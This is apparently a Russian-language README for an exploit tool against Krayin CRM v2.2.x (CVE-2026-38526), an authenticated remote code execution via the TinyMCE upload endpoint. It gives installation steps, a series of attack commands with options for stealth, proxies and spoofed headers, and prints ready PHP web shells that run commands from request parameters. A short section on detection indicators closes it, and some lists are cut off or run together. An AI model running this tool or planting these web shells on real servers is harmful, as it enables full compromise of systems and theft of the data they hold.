CVE-2026-38526 эксплойт для Krayin CRM v2.2.x - Аутентифицированное RCE через обход загрузки файлов TinyMCE. Включает интерактивную оболочку, полезные нагрузки различных типов, автоматическую генерацию оболочки и верификацию. Автор: Sudeepa Wanigarathna. Только для авторизованного тестирования.
⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ — несанкционированное использование незаконно и неэтично.
Этот эксплойт демонстрирует критическую уязвимость аутентифицированного удаленного выполнения кода (RCE), обнаруженную в Krayin CRM версии 2.2.x. Уязвимость существует в функционале загрузки файлов TinyMCE, который позволяет аутентифицированным администраторам загружать и выполнять произвольный PHP-код на сервере.
| Свойство | Значение |
|---|---|
| CVE ID | CVE-2026-38526 |
| Затронутое ПО | Krayin CRM v2.2.x |
| Тип уязвимости | Аутентифицированное удаленное выполнение кода (RCE) |
| Требуется аутентификация | Да (доступ уровня администратора) |
| Воздействие | Полная компрометация системы |
| Оценка CVSS | 8.8 (Высокий) |
Уязвимость возникает из-за недостаточной проверки типа файла в конечной точке загрузки TinyMCE (/admin/tinymce/upload). Аутентифицированный администратор может:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [ОПЦИИ]
| Параметр | Описание |
|---|---|
-t, --target | URL цели (например, http://192.168.1.100) |
-u, --username | Имя администратора или email |
-p, --password | Пароль администратора |
# Базовая эксплуатация со сгенерированной оболочкой
python3 exploit.py -t http://target.com -u [email protected] -p password
# Загрузка пользовательского PHP-файла оболочки
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Генерация расширенной оболочки с интерактивным режимом
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Генерация файла оболочки без эксплуатации
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Использование с прокси для тестирования/отладки
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# Вывод JSON для автоматизации
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Подробный режим с пользовательским таймаутом
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# Пользовательский User-Agent и заголовки
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Базовая оболочка (basic)
Простое выполнение команд с помощью функции system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Расширенная оболочка (advanced)
Функционально богатая оболочка с:
Минимальная оболочка (minimal)
Минимальный след для скрытности.
<?php system($_GET["cmd"]); ?>
Файловый менеджер (file_manager)
Полноценный интерфейс управления файлами:
Пользовательская оболочка (custom)
Используйте собственный PHP-файл оболочки с параметром -f.
Человекочитаемый цветной вывод, подходящий для интерактивного использования.
-o json)Машиночитаемый формат для автоматизации и интеграции.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Нет вывода, кроме ошибок. Полезен для пакетной обработки.
| Опция | Описание | По умолчанию |
|---|---|---|
--timeout | Таймаут запроса в секундах | 30 |
--retry | Количество повторных попыток | 3 |
--retry-delay | Задержка между повторными попытками в секундах | 2 |
--user-agent | Пользовательская строка User-Agent | Браузерный UA по умолчанию |
--header | Пользовательские HTTP-заголовки (Ключ: Значение) | Нет |
--verify-ssl | Проверять SSL-сертификаты | False |
--proxy | URL HTTP/HTTPS прокси | Нет |
-v, --verbose | Включить отладочный вывод | False |
-q, --quiet | Подавить весь вывод | False |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Файлы для мониторинга:
public/storage/upload/image.php.jpg)Логи для проверки:
/admin/tinymce/uploadСистемные индикаторы: